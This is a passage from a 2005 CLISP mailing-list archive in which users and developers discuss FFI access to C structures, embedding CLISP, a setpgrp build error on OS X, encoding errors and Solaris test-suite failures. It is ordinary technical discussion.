    COM.INFORMATIMAGO.CLISP.SUSV3::D_RECLEN
    COM.INFORMATIMAGO.CLISP.SUSV3::D_TYPE COM.INFORMATIMAGO.CLISP.SUSV3::D_NAME)
  #<COMPILED-CLOSURE :LAMBDA> FFI:ULONG FFI:LONG FFI:USHORT FFI:UCHAR
  #(FFI:C-ARRAY CHAR 256))
Break 1 COM.INFORMATIMAGO.SUSV3.DIRENT[71]> 




COM.INFORMATIMAGO.SUSV3.DIRENT[52]> 
(DEFUN READDIR (DIR-STREAM)
  (ffi:with-c-var (d '(ffi:c-ptr-null susv3:dirent)
                     (FFI:UNSIGNED-FOREIGN-ADDRESS
                      (check-pointer (susv3:readdir DIR-STREAM)
                                     :function  'susv3:readdir
                                     :arguments (list DIR-STREAM)
                                     :caller    'readdir
                                     :no-error (list susv3:einval))))
    (unless (NULL d) 
      (let ((result (make-dirent)))
        (c-dirent->dirent d result)
        result))))

READDIR
COM.INFORMATIMAGO.SUSV3.DIRENT[53]> (readdir common-lisp-user::d)

*** - #<FOREIGN-ADDRESS #x081D87C0> cannot be converted to the foreign type 
#(FFI:C-STRUCT COM.INFORMATIMAGO.CLISP.SUSV3:DIRENT NIL
  #(COM.INFORMATIMAGO.CLISP.SUSV3::D_INO COM.INFORMATIMAGO.CLISP.SUSV3::D_OFF
    COM.INFORMATIMAGO.CLISP.SUSV3::D_RECLEN
    COM.INFORMATIMAGO.CLISP.SUSV3::D_TYPE COM.INFORMATIMAGO.CLISP.SUSV3::D_NAME)
  #<COMPILED-CLOSURE :LAMBDA> FFI:ULONG FFI:LONG FFI:USHORT FFI:UCHAR
  #(FFI:C-ARRAY CHAR 256))
Break 1 COM.INFORMATIMAGO.SUSV3.DIRENT[54]> 



It seems that:

    (ffi:with-c-var (d '(ffi:c-ptr-null susv3:dirent) ...) ...)

has the same effect as:

    (ffi:with-c-var (d 'susv3:dirent ...) ...)


How can one use a pointer to a C structure (compare the address with
specific numbers and fetch fields) with FFI, if at all possible?




(in-package "COM.INFORMATIMAGO.CLISP.SUSV3")

(ffi:def-c-type pointer ffi:ulong)

(DEFCONSTANT NAME-MAX 255)

(ffi:def-c-type dirp   pointer)
(ffi:def-c-type ino_t  ffi:ulong)
(ffi:def-c-type off_t  ffi:long)


(ffi:def-c-struct dirent
  (d_ino       ino_t)
  (d_off       off_t)
  (d_reclen    ffi:ushort)
  (d_type      ffi:uchar)
  (d_name      (ffi:c-array ffi:char #.(1+ NAME-MAX))))


(ffi:def-call-out opendir (:name "opendir")
  (:arguments (name ffi:c-string))
  (:return-type dirp)
  (:library #.+libc+) (:language :stdc))

(ffi:def-call-out closedir (:name "closedir")
  (:arguments (dir dirp))
  (:return-type ffi:int)
  (:library #.+libc+) (:language :stdc))

(ffi:def-call-out readdir (:name "readdir")
  (:arguments (dir dirp))
  (:return-type pointer)
  (:library #.+libc+) (:language :stdc))


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Date: Tue Apr  5 07:02:55 2005
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> Foreign function returns the pointer on structure.
> This pointer is necessary for a call of other foreign functions. Also it
> is necessary to read / write fields of this structure in cLisp.
> 
> How?

I understand how read fields:

(ffi:def-c-struct Tcl-Interp
  (result ffi:c-string)
  (freeProc *Tcl-FreeProc)
  (errorLine ffi:int))

(ffi:def-call-out Tcl-CreateInterp
  (:name "Tcl_CreateInterp")
  (:library *tcl-shared-lib*)
  (:return-type ffi:c-pointer))

[2]> (setq intr (Tcl-CreateInterp))
#<FOREIGN-ADDRESS #x014ECFE8>

[3]> (with-c-var (pointer 'c-pointer intr)
                 (cast pointer '(c-ptr Tcl-Interp)))
#S(TCL-FFI:Tcl-Interp :RESULT "" :|FREEpROC| NIL :|ERRORlINE| 0)

How write?

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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-04-05 17:02:36 +0300]:
>
> (ffi:def-c-struct Tcl-Interp
>   (result ffi:c-string)
>   (freeProc *Tcl-FreeProc)
>   (errorLine ffi:int))
>
> (ffi:def-call-out Tcl-CreateInterp
>   (:name "Tcl_CreateInterp")
>   (:library *tcl-shared-lib*)
>   (:return-type ffi:c-pointer))
>
> [2]> (setq intr (Tcl-CreateInterp))
> #<FOREIGN-ADDRESS #x014ECFE8>
>
> [3]> (with-c-var (pointer 'c-pointer intr)
>                  (cast pointer '(c-ptr Tcl-Interp)))
> #S(TCL-FFI:Tcl-Interp :RESULT "" :|FREEpROC| NIL :|ERRORlINE| 0)

(with-c-var (pointer '(c-ptr Tcl-Interp) intr)
  pointer)

> How to write?

(with-c-var (pointer '(c-ptr Tcl-Interp) intr)
  (setf (slot (foreign-value pointer) 'result) "foo"))

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> * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2005-04-05 01:33:37 +0200]:
>
>   (ffi:with-c-var (d 'susv3:dirent
>                      (FFI:UNSIGNED-FOREIGN-ADDRESS
>                       (check-pointer (susv3:readdir DIR-STREAM)
>                                      :function  'susv3:readdir
>                                      :arguments (list DIR-STREAM)
>                                      :caller    'readdir
>                                      :no-error (list susv3:einval))))
>     (unless (NULL d) 
>       (let ((result (make-dirent)))
>         (c-dirent->dirent (ffi:deref (ffi:cast d '(ffi:c-ptr-null susv3:dirent))) result)
>         result))))

WFM:

(ffi:with-c-var (d 'ffi:c-pointer (readdir ...))
  (ffi:cast d '(ffi:c-ptr dirent)))
==> #S(DIRENT :D_INO ...)

> (ffi:def-c-type pointer ffi:ulong)
>
> (DEFCONSTANT NAME-MAX 255)
>
> (ffi:def-c-type dirp   pointer)
> (ffi:def-c-type ino_t  ffi:ulong)
> (ffi:def-c-type off_t  ffi:long)
>
>
> (ffi:def-c-struct dirent
>   (d_ino       ino_t)
>   (d_off       off_t)
>   (d_reclen    ffi:ushort)
>   (d_type      ffi:uchar)
>   (d_name      (ffi:c-array ffi:char #.(1+ NAME-MAX))))

You must be very very very careful here:
the sizeof(ino_t), sizeof(off_t) &c &c &c greatly varies from OS to OS.
(on cygwin it went from 4 to 8 with upgrade from 1.3 to 1.5).

this is good enough for "explorations", but not for production code.
for production you need a C module with a configure script which will
check for sizeof &c.

BTW, why do you need opendir/readdir?
why isn't DIRECTORY enough?


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ISTR having seen recently enough messages about clisp being embeddable
into another application.  

Could anybody please give me the references of these messages? (My
searches of the mail list archives did not retrive them).

Otherwise, is there any documentation about how to embed clisp?

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> * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2005-04-05 22:28:57 +0200]:
>
> ISTR having seen recently enough messages about clisp being embeddable
> into another application.
>
> Could anybody please give me the references of these messages? (My
> searches of the mail list archives did not retrive them).
>
> Otherwise, is there any documentation about how to embed clisp?

clisp/src/TODO:
Embeddability: additional API in spvw.d; example.
<https://sourceforge.net/tracker/index.php?func=detail&aid=423264&group_id=1355&atid=351355>
<http://article.gmane.org/gmane.lisp.clisp.devel:12240>
<http://article.gmane.org/gmane.lisp.clisp.devel:12243>
<http://article.gmane.org/gmane.lisp.clisp.devel:12385>

many of the things in the latest patch from Michael are already
in CLISP.
the missing pieces are:

1. makemake.in: creation of libclisp.so (clisp.dll)
   I am not touching this.
   For all I care we could just apply Michael's patch as is, except that
   ISTR that there are some portability pitfalls, so I would prefer that
   Bruno handles this.

2. clisp_init() & clisp_fini() in spvw.d (and genclisph.d).
   I could do that except that it is pointless without [1] above.
   (Michael's patch will not apply cleanly at this point).



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Date: Tue Apr  5 14:52:21 2005
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I have been running into some difficulties with building clisp from cvs 
on OS X 10.3.8 recently.  In particular, the problem seems to be with 
the syscalls module.  Any insights into what I might be doing wrong?

thanks,
-Lars

Here is the tail end of the build log:

./configure --with-module=clx/mit-clx --without-dynamic-ffi --build

...

test -d syscalls || ./lndir ../modules/syscalls syscalls
if test -f syscalls/configure -a '!' -f syscalls/config.status ; then 
cd syscalls ; ( cache=`echo syscalls/ | sed -e 
's,[^/][^/]*//*,../,g'`config.cache; if test -f ${cache} ; then . 
${cache}; if test "${ac_cv_env_CC_set}" = set; then 
CC="${ac_cv_env_CC_value}"; export CC; fi; ./configure 
--cache-file=${cache} ; else ./configure ; fi ) ; fi
configure: loading cache ../config.cache
configure:  * System Calls (Tools)
checking for gcc... (cached) gcc
checking for C compiler default output file name... a.out
checking whether the C compiler works... yes
checking whether we are cross compiling... no
checking for suffix of executables...
checking for suffix of object files... (cached) o
checking whether we are using the GNU C compiler... (cached) yes
checking whether gcc accepts -g... (cached) yes
checking for gcc option to accept ANSI C... (cached) none needed
checking how to run the C preprocessor... (cached) gcc -E
configure:  * System Calls (Headers)
checking for egrep... (cached) grep -E
checking for ANSI C header files... (cached) yes
checking whether time.h and sys/time.h may both be included... yes
checking for sys/utsname.h and struct utsname... (cached) yes
checking for sys/types.h... (cached) yes
checking for sys/stat.h... (cached) yes
checking for stdlib.h... (cached) yes
checking for string.h... (cached) yes
checking for memory.h... (cached) yes
checking for strings.h... (cached) yes
checking for inttypes.h... (cached) yes
checking for stdint.h... (cached) yes
checking for unistd.h... (cached) yes
checking errno.h usability... yes
checking errno.h presence... yes
checking for errno.h... yes
checking fcntl.h usability... yes
checking fcntl.h presence... yes
checking for fcntl.h... yes
checking for netdb.h... (cached) yes
checking for sys/resource.h... (cached) yes
checking utime.h usability... yes
checking utime.h presence... yes
checking for utime.h... yes
checking wchar.h usability... yes
checking wchar.h presence... yes
checking for wchar.h... yes
checking pwd.h usability... yes
checking pwd.h presence... yes
checking for pwd.h... yes
checking for sys/stat.h... (cached) yes
checking sys/time.h usability... yes
checking sys/time.h presence... yes
checking for sys/time.h... yes
checking sys/unistd.h usability... yes
checking sys/unistd.h presence... yes
checking for sys/unistd.h... yes
checking time.h usability... yes
checking time.h presence... yes
checking for time.h... yes
checking for unistd.h... (cached) yes
checking syslog.h usability... yes
checking syslog.h presence... yes
checking for syslog.h... yes
checking signal.h usability... yes
checking signal.h presence... yes
checking for signal.h... yes
checking for sys/statvfs.h... (cached) no
checking for sys/statfs.h... (cached) no
checking sys/vfs.h usability... no
checking sys/vfs.h presence... no
checking for sys/vfs.h... no
checking for sys/types.h... (cached) yes
checking crypt.h usability... no
checking crypt.h presence... no
checking for crypt.h... no
checking utmpx.h usability... no
checking utmpx.h presence... no
checking for utmpx.h... no
checking shlobj.h usability... no
checking shlobj.h presence... no
checking for shlobj.h... no
checking for struct timeval... yes
checking size of struct timeval... 8
checking for struct utmpx.ut_host... no
checking whether f_fsid is scalar... no
checking for struct stat.st_rdev... yes
checking for struct stat.st_blksize... yes
checking for struct stat.st_blocks... yes
configure:  * System Calls (Functions)
checking for getrlimit... (cached) yes
checking for setrlimit... (cached) yes
checking for rlim_t... (cached) no
checking size of rlim_t... (cached) 0
checking for getrlimit declaration... (cached)
          extern int getrlimit (int, struct rlimit *);
checking for setrlimit declaration... (cached)
          extern int setrlimit (int, const struct rlimit *);
checking for clock... yes
checking for confstr... yes
checking for fcntl... yes
checking for gethostent... (cached) yes
checking for sysconf... yes
checking for uname... yes
checking for getlogin... yes
checking for getpwent... yes
checking for getpwnam... (cached) yes
checking for getpwuid... yes
checking for getuid... yes
checking for openlog... yes
checking for setlogmask... yes
checking for syslog... yes
checking for closelog... yes
checking for getpgid... yes
checking for setpgrp... yes
checking for getsid... yes
checking for setsid... (cached) yes
checking for kill... yes
checking for endutxent... no
checking for getutxent... no
checking for getutxid... no
checking for getutxline... no
checking for pututxline... no
checking for setutxent... no
checking for fchmod... yes
checking for fchown... yes
checking for fstat... yes
checking for link... yes
checking for stat... yes
checking for symlink... yes
checking for utime... yes
checking for mknod... yes
checking for chmod... yes
checking for umask... yes
checking for uid_t in sys/types.h... yes
checking for unistd.h... (cached) yes
checking for working chown... yes
checking for library containing erf... none required
checking for erf... yes
checking for erfc... yes
checking for lgamma... yes
checking for fstatvfs... no
checking for statvfs... no
checking for getpriority... yes
checking for setpriority... yes
checking whether lgamma_r is declared... no
checking whether signgam is declared... yes
checking for library containing crypt... none required
checking for crypt... yes
checking for encrypt... yes
checking for setkey... yes
checking for GlobalMemoryStatusEx... no
checking for lstat... (cached) yes
checking for sys/resource.h... (cached) yes
checking for sys/times.h... (cached) yes
checking for getrusage... (cached) yes
checking for getrusage declaration... (cached)
          extern int getrusage (int, struct rusage *);
checking whether getrusage works... (cached) yes
configure:  * System Calls (output)
updating cache ../config.cache
configure: creating ./config.status
config.status: creating Makefile
config.status: creating link.sh
config.status: creating config.h
configure:  * System Calls (done)
CLISP="`pwd`/lisp.run -M `pwd`/lispinit.mem -B `pwd` -Efile UTF-8 
-Eterminal UTF-8 -norc" ; cd syscalls ; dots=`echo syscalls/ | sed -e 
's,[^/][^/]*//*,../,g' -e 's,/$,,g'` ; make clisp-module CC="gcc" 
CPPFLAGS="" CFLAGS="-W -Wswitch -Wcomment -Wpointer-arith -Wimplicit 
-Wreturn-type  -Wno-sign-compare -O2 -DUNIX_BINARY_DISTRIB -DUNICODE 
-DNO_GETTEXT -DNO_SIGSEGV -I." INCLUDES="$dots" LISPBIBL_INCLUDES=" 
${dots}/lispbibl.c ${dots}/fsubr.c ${dots}/subr.c ${dots}/pseudofun.c 
${dots}/constsym.c ${dots}/constobj.c ${dots}/unix.c ${dots}/xthread.c 
${dots}/libcharset.h" CLFLAGS="-x none" LIBS="libcharset.a -lncurses  
-liconv " RANLIB="ranlib" CLISP="$CLISP -q"
/Users/lars/clisp/src/lisp.run -M /Users/lars/clisp/src/lispinit.mem -B 
/Users/lars/clisp/src -Efile UTF-8 -Eterminal UTF-8 -norc -q 
../modprep.fas calls.c
;; MODPREP: "calls.c" --> #P"calls.m.c"
;; MODPREP: reading "calls.c": 110,531 bytes, 2,909 lines

;; MODPREP: 408 objects, 55 DEFUNs
;; packages: ("OS" "POSIX")
MODPREP: wrote calls.m.c (345,533 bytes)
gcc  -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  
-Wno-sign-compare -O2 -DUNIX_BINARY_DISTRIB -DUNICODE -DNO_GETTEXT 
-DNO_SIGSEGV -I. -I.. -c calls.m.c -o calls.o
calls.c: In function `check_syslog_facility_reverse':
calls.c:4781: warning: control reaches end of non-void function
calls.c: In function `check_signal_reverse':
calls.c:4948: warning: control reaches end of non-void function
calls.c: In function `check_priority_which_reverse':
calls.c:5076: warning: control reaches end of non-void function
calls.c: In function `sysconf_arg_reverse':
calls.c:5483: warning: control reaches end of non-void function
calls.c: In function `confstr_arg_reverse':
calls.c:5603: warning: control reaches end of non-void function
calls.c: In function `getrlimit_arg_reverse':
calls.c:5666: warning: control reaches end of non-void function
calls.c: In function `check_chmod_mode':
calls.c:5723: warning: comparison of unsigned expression < 0 is always 
false
calls.c: In function `check_chmod_mode_reverse':
calls.c:5736: warning: comparison of unsigned expression < 0 is always 
false
calls.c: In function `check_chmod_mode_to_list':
calls.c:5744: warning: comparison of unsigned expression < 0 is always 
false
calls.c: In function `mknod_type_check_reverse':
calls.c:5809: warning: control reaches end of non-void function
calls.c: In function `C_subr_posix_setpgrp':
calls.c:353: error: too few arguments to function `setpgrp'
make[1]: *** [calls.o] Error 1
make: *** [syscalls] Error 2

--
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> * Lars Rosengreen <ynef@znetnl.bet> [2005-04-05 14:51:12 -0700]:
>
> calls.c: In function `C_subr_posix_setpgrp':
> calls.c:353: error: too few arguments to function `setpgrp'

<http://www.opengroup.org/onlinepubs/009695399/functions/setpgrp.html>:
 pid_t setpgrp(void);

how is setpgrp() defined on your platform?
please file a bug report about POSIX compliance with your vendor.

In the meantime, I suggest that you edit build/syscalls/config.h
and replace "#define HAVE_SETPGRP 1" with "#undef HAVE_SETPGRP".

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On Apr 5, 2005, at 3:02 PM, Sam Steingold wrote:

>> * Lars Rosengreen <ynef@znetnl.bet> [2005-04-05 14:51:12 -0700]:
>>
>> calls.c: In function `C_subr_posix_setpgrp':
>> calls.c:353: error: too few arguments to function `setpgrp'
>
> <http://www.opengroup.org/onlinepubs/009695399/functions/setpgrp.html>:
>  pid_t setpgrp(void);
>
> how is setpgrp() defined on your platform?

man setpgrp returns:

SETPGID(2)                  BSD System Calls Manual                 
SETPGID(2)

NAME
      setpgid, setpgrp - set process group

SYNOPSIS
      #include <unistd.h>

      int
      setpgid(pid_t pid, pid_t pgrp);

      int
      setpgrp(pid_t pid, pid_t pgrp);

DESCRIPTION
      Setpgid() sets the process group of the specified process pid to 
the
      specified pgrp.  If pid is zero, then the call applies to the 
current
      process.

      If the invoker is not the super-user, then the affected process 
must have
      the same effective user-id as the invoker or be a descendant of the
      invoking process.

RETURN VALUES
      Setpgid() returns 0 when the operation was successful.  If the 
request
      failed, -1 is returned and the global variable errno indicates the 
rea-
      son.

ERRORS
      Setpgid() will fail and the process group will not be altered if:

      [EACCES]           The value of the pid argument matches the 
process ID
                         of a child process of the calling process, and 
the
                         child process has successfully executed one of 
the
                         exec functions.

      [EPERM]            The effective user ID of the requested process 
is dif-
                         ferent from that of the caller and the process 
is not
                         a descendant of the calling process.

      [ESRCH]            The value of the pid argument does not match 
the pro-
                         cess ID of the calling process or of a child 
process
                         of the calling process.

SEE ALSO
      getpgrp(2)

STANDARDS
      The setpgid() function conforms to IEEE Std 1003.1-1988 
(``POSIX.1'').

COMPATIBILITY
      Setpgrp() is identical to setpgid(), and is retained for calling 
conven-
      tion compatibility with historical versions of BSD.

4th Berkeley Distribution        June 4, 1993        4th Berkeley 
Distribution

> please file a bug report about POSIX compliance with your vendor.

I will do that, but I'm not holding my breath.  A search with google 
suggests it has been this way since at least 2001.

> In the meantime, I suggest that you edit build/syscalls/config.h
> and replace "#define HAVE_SETPGRP 1" with "#undef HAVE_SETPGRP".

This works as a temporary solution.  Thank you very much for your help.

-Lars


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Sam Steingold:
>>[3]> (with-c-var (pointer 'c-pointer intr)
>>                 (cast pointer '(c-ptr Tcl-Interp)))
>>#S(TCL-FFI:Tcl-Interp :RESULT "" :|FREEpROC| NIL :|ERRORlINE| 0)
> 
> 
> (with-c-var (pointer '(c-ptr Tcl-Interp) intr)
>   pointer)

clisp from CVS head, mingw

[1]> (load "G:\\Work\\Lisp\\cltk\\tcl-ffi")
;; Loading file G:\Work\Lisp\cltk\tcl-ffi.lisp ...
;; Loaded file G:\Work\Lisp\cltk\tcl-ffi.lisp
T
[2]> (setq intr (tcl-ffi:Tcl-CreateInterp))
#<FOREIGN-ADDRESS #x014ECFE8>
[3]> (ffi:with-c-var (pointer '(ffi:c-ptr tcl-ffi:Tcl-Interp) intr) pointer)

*** - #<FOREIGN-ADDRESS #x014ECFE8> cannot be converted to the foreign type
       #(FFI:C-STRUCT TCL-FFI:Tcl-Interp NIL
         #(TCL-FFI::result TCL-FFI::freeProc TCL-FFI::errorLine)
#<COMPILED-FUNCTION :LAMBDA>
         FFI:C-STRING #(FFI:C-PTR #(FFI:C-FUNCTION NIL #(FFI:C-STRING 1)
1024)) FFI:INT)

The following restarts are available:
ABORT          :R1      ABORT
Break 1 [4]>
[5]> (ffi:with-c-var (pointer 'ffi:c-pointer intr) (ffi:cast pointer
'(ffi:c-ptr tcl-ffi:Tcl-Interp)
))
#S(TCL-FFI:Tcl-Interp :RESULT "" :|FREEpROC| NIL :|ERRORlINE| 0)

> 
> 
>>How to write?
> 
> 
> (with-c-var (pointer '(c-ptr Tcl-Interp) intr)
>   (setf (slot (foreign-value pointer) 'result) "foo"))

[8]> (ffi:with-c-var (pointer '(ffi:c-ptr tcl-ffi:Tcl-Interp) intr)
(setf (ffi:slot (ffi:foreign-value pointer) 'result) "foo"))

*** - #<FOREIGN-ADDRESS #x014ECFE8> cannot be converted to the foreign type
       #(FFI:C-STRUCT TCL-FFI:Tcl-Interp NIL
         #(TCL-FFI::result TCL-FFI::freeProc TCL-FFI::errorLine)
#<COMPILED-FUNCTION :LAMBDA>
         FFI:C-STRING #(FFI:C-PTR #(FFI:C-FUNCTION NIL #(FFI:C-STRING 1)
1024)) FFI:INT)

The following restarts are available:
ABORT          :R1      ABORT
Break 1 [9]>

Thanks.

-- 
WBR, Yaroslav Kavenchuk.


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Hi,

In my last trials (some months ago), I got CLISP compiled into
a DLL that I could use to build a MATLAB/MEX file. However,=20
I got memory/gc-related crashes: the MEX file segfaulted on first
GC. I sent mails about it on clisp-devel but AFAIK I never got
any answer. Then I gave up and switched to ECL.

<http://article.gmane.org/gmane.lisp.clisp.devel:12525>
<http://article.gmane.org/gmane.lisp.clisp.devel:12579>

Bye.
Michael.

> clisp/src/TODO:
> Embeddability: additional API in spvw.d; example.
> <https://sourceforge.net/tracker/index.php?func=3Ddetail&aid=3D423
> 264&group_id=3D1355&atid=3D351355>
> <http://article.gmane.org/gmane.lisp.clisp.devel:12240>
> <http://article.gmane.org/gmane.lisp.clisp.devel:12243>
> <http://article.gmane.org/gmane.lisp.clisp.devel:12385>
>=20
> many of the things in the latest patch from Michael are already
> in CLISP.
> the missing pieces are:
>=20
> 1. makemake.in: creation of libclisp.so (clisp.dll)
>    I am not touching this.
>    For all I care we could just apply Michael's patch as is,=20
> except that
>    ISTR that there are some portability pitfalls, so I would=20
> prefer that
>    Bruno handles this.
>=20
> 2. clisp_init() & clisp_fini() in spvw.d (and genclisph.d).
>    I could do that except that it is pointless without [1] above.
>    (Michael's patch will not apply cleanly at this point).
>=20
>=20
>=20
> --=20
> Sam Steingold (http://www.podval.org/~sds) running w2k
> <http://www.iris.org.il> <http://www.mideasttruth.com/>
> <http://www.honestreporting.com> <http://pmw.org.il/>=20
<http://www.camera.org>
What was the best thing before sliced bread?


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clisp from CVS head with libintl, mingw

> (set-locale)
(:ALL
"LC_COLLATE=Russian_Russia.1251;LC_CTYPE=Russian_Russia.1251;LC_MONETARY=Russian_Russia.1251;LC_NUM
ERIC=C;LC_TIME=Russian_Russia.1251"
 :COLLATE "Russian_Russia.1251" :CTYPE "Russian_Russia.1251" :MESSAGES
NIL :MONETARY
 "Russian_Russia.1251" :NUMERIC "C" :TIME "Russian_Russia.1251")

> *FOREIGN-ENCODING*
#<ENCODING CHARSET:CP1251 :DOS>
> *TERMINAL-ENCODING*
#<ENCODING CHARSET:CP866 :DOS>
> system::*all-languages*

*** - Character #\u00C7 cannot be represented in the character set
CHARSET:CP866
The following restarts are available:
ABORT          :R1      ABORT
Break 1 [81]> :


(CDR system::*all-languages*) generate same error.

(nth 5 system::*all-languages*) and (last system::*all-languages*) not
generate error and return "RUSSIAN" in russian

This is norm?

Thanks.

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On Solaris 9 SPARC system... I've gone through the documented build
process without obvious problems, run "make test" successfully. "make
testsuite" fails at the loop.tst when attempting to (setq everest...)
with the following:
 
(LET (EVEREST CHOCORUA SAHARA) (DEFSTRUCT MOUNTAIN HEIGHT DIFFICULTY
(WHY "because it is there")) (SETQ EVEREST (MAKE-MOUNTAIN :HEIGHT '(
*** - ASH: too large shift amount 59482078
 
and exit messages. I'm new with Common Lisp so my analytic skills are
rudimentary at best. Help resolving this problem would be greatly
appreciated. I'm running gcc 3.4.1 at present.
 
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I'm new with Common Lisp so my analytic skills are rudimentary at best. =
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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-04-06 09:24:24 +0300]:
>
how about

(ffi:with-c-var (pointer 'ffi:c-pointer intr)
 (setf (ffi:slot (ffi:foreign-value
                   (ffi:cast pointer '(ffi:c-ptr tcl-ffi:Tcl-Interp)))
                 ...)
       ...))

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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-04-06 12:48:59 +0300]:
>
> This is norm?

I don't know whether this is normal.
the only way to find out is to set *terminal-encoding* to something that
can display _everything_, like utf-8, and try to print again.

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> * Williams, Mark L CIV NSWC-PC <znex.y.jvyyvnzf@anil.zvy> [2005-04-06 07:59:32 -0400]:
>
> On Solaris 9 SPARC system... I've gone through the documented build
> process without obvious problems, run "make test" successfully. "make
> testsuite" fails at the loop.tst when attempting to (setq everest...)
> with the following:
>  
> (LET (EVEREST CHOCORUA SAHARA) (DEFSTRUCT MOUNTAIN HEIGHT DIFFICULTY
> (WHY "because it is there")) (SETQ EVEREST (MAKE-MOUNTAIN :HEIGHT '(
> *** - ASH: too large shift amount 59482078
>  
> and exit messages. I'm new with Common Lisp so my analytic skills are
> rudimentary at best. Help resolving this problem would be greatly
> appreciated. I'm running gcc 3.4.1 at present.

start CLISP and evaluate the test form that fails (see tests/loop.erg):

(let (everest chocorua sahara)
  (defstruct mountain  height difficulty (why "because it is there"))
  (setq everest (make-mountain :height '(2.86e-13 parsecs)))
  (setq chocorua (make-mountain :height '(1059180001 microns)))
  (defstruct desert  area (humidity 0))
  (setq sahara (make-desert :area '(212480000 square furlongs)))
  (loop for x in (list everest sahara chocorua)
        thereis (and (mountain-p x) (mountain-height x))))


if you get the error, try evaluating subforms and figure out what is the
smallest form that produces the error.

please read
<http://clisp.cons.org/faq.html#bugs>
<http://clisp.cons.org/clisp.html#bugs>
<http://clisp.cons.org/faq.html#debug>

Thanks.

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I'd have to say there's a math problem. From alltest.erg (no loop.erg
available)...

Form: (PRIN1-TO-STRING (SIN (* 8 (/ PI 2))))
CORRECT: "2.0066230454737344098l-19"
CLISP: "3.231752895461926238989L-16"

... plus additional similar reports against things like
MOST-NEGATIVE-SHORT-FLOAT and other types.

Also, eval of several MOST- numeric types yields NIL rather than T.

Finally, breaking the form out of the original geographical loop...
(setq everest (make-mountain :height '(2.86e-13 parsecs))) fails; others
don't. If I change "13" to "12" in both places, testsuite passes this
point but dies again in the number tests.

It looks like CLISP is not (heaven forbid) computing.

Thanks in advance for even more help...

Mark


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Subject: Re: TESTSUITE FAILURE IN LOOP.TST, SOLARIS 9


> * Williams, Mark L CIV NSWC-PC <znex.y.jvyyvnzf@anil.zvy> [2005-04-06
07:59:32 -0400]:
>
> On Solaris 9 SPARC system... I've gone through the documented build
> process without obvious problems, run "make test" successfully. "make
> testsuite" fails at the loop.tst when attempting to (setq everest...)
> with the following:
>  
> (LET (EVEREST CHOCORUA SAHARA) (DEFSTRUCT MOUNTAIN HEIGHT DIFFICULTY
> (WHY "because it is there")) (SETQ EVEREST (MAKE-MOUNTAIN :HEIGHT '(
> *** - ASH: too large shift amount 59482078
>  
> and exit messages. I'm new with Common Lisp so my analytic skills are
> rudimentary at best. Help resolving this problem would be greatly
> appreciated. I'm running gcc 3.4.1 at present.

start CLISP and evaluate the test form that fails (see tests/loop.erg):

(let (everest chocorua sahara)
  (defstruct mountain  height difficulty (why "because it is there"))
  (setq everest (make-mountain :height '(2.86e-13 parsecs)))
  (setq chocorua (make-mountain :height '(1059180001 microns)))
  (defstruct desert  area (humidity 0))
  (setq sahara (make-desert :area '(212480000 square furlongs)))
  (loop for x in (list everest sahara chocorua)
        thereis (and (mountain-p x) (mountain-height x))))


if you get the error, try evaluating subforms and figure out what is the
smallest form that produces the error.

please read
<http://clisp.cons.org/faq.html#bugs>
<http://clisp.cons.org/clisp.html#bugs>
<http://clisp.cons.org/faq.html#debug>

Thanks.

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> * Williams, Mark L CIV NSWC-PC <znex.y.jvyyvnzf@anil.zvy> [2005-04-06 12:49:41 -0400]:
>
> I'd have to say there's a math problem. From alltest.erg (no loop.erg
> available)...
>
> Form: (PRIN1-TO-STRING (SIN (* 8 (/ PI 2))))
> CORRECT: "2.0066230454737344098l-19"
> CLISP: "3.231752895461926238989L-16"
>
> ... plus additional similar reports against things like
> MOST-NEGATIVE-SHORT-FLOAT and other types.

please be more specific.

> please read
> <http://clisp.cons.org/faq.html#bugs>
> <http://clisp.cons.org/clisp.html#bugs>

please do read these links.
we need gcc --version, uname -a, clisp --version &c

> <http://clisp.cons.org/faq.html#debug>

please try to build a "--with-debug" version and see if it displays the
same problems:

./configure --with-debug --build build-g

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Hi Everyone,

 I have recently started using clisp on Linux.

 I have used VAX Common Lisp for over 20 years.

 I have encountered a problem with lambda expressions.

 The code that used to work on VAX is not working.

 Basically, I am trying something similar to the following:

 (defun dotests (hold args tests)
   (apply `(lambda ,(cons 'hold (car args)) ,tests) (cons hold (cadr args))))

 The error I am getting is:

 APPLY: argument (LAMBDA ...) is not a function.


 Any suggestions would be appreciated.

 Regards,
 Khosrow Kaikhah



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> * kk02 <xx02@gkfgngr.rqh> [2005-04-06 15:43:27 -0500]:
>
>  (defun dotests (hold args tests)
>    (apply `(lambda ,(cons 'hold (car args)) ,tests) (cons hold (cadr args))))
>
>  The error I am getting is:
>
>  APPLY: argument (LAMBDA ...) is not a function.

indeed, in ANSI CL lambda expressions are not functions.
you need to do

(defun dotests (hold args tests)
  (apply (coerce `(lambda ,(cons 'hold (car args)) ,tests) 'function)
         (cons hold (cadr args))))

although I suspect that a macro would be more appropriate than a
function here.


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> * Lars Rosengreen <ynef@znetnl.bet> [2005-04-05 19:20:08 -0700]:
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> On Apr 5, 2005, at 3:02 PM, Sam Steingold wrote:
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>>> * Lars Rosengreen <ynef@znetnl.bet> [2005-04-05 14:51:12 -0700]:
>>>
>>> calls.c: In function `C_subr_posix_setpgrp':
>>> calls.c:353: error: too few arguments to function `setpgrp'
>>
>> <http://www.opengroup.org/onlinepubs/009695399/functions/setpgrp.html>:
>>  pid_t setpgrp(void);
>>
>> how is setpgrp() defined on your platform?
>
> man setpgrp returns:
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>       int
>       setpgrp(pid_t pid, pid_t pgrp);


OK, I added a configure test for this breakage.
could you please try clisp cvs head again?

Thanks!

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Referencing my earlier questions about testsuite failure: I apparently
should have submitted a bug report rather than asking if there was a
problem. I wondered if I was overlooking something. Here is an abridged
event report, submitted as a bug incident. The full report is waiting
for list moderator action and so is available for developers' review.

I appreciate the guidance and support already provided.

Mark
=========================================================
CLISP diagnostic info:

==============================
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==============================
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==============================
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Installation directory: /usr/local/lib/clisp/
User language: ENGLISH
Machine: SUN4U (SUN4U) zng [(--local IP address deleted-- -mlw)]
==============================
Sources came from SourceForge Feb 23 2005
==============================
Original build for which errors are reported was built following the
.../unix/INSTALL instructions steps 1-8.
  All steps were executed verbatim whenever possible.
  Specific target directory was "sol9". 
  "Expert" options were not taken (step 7).
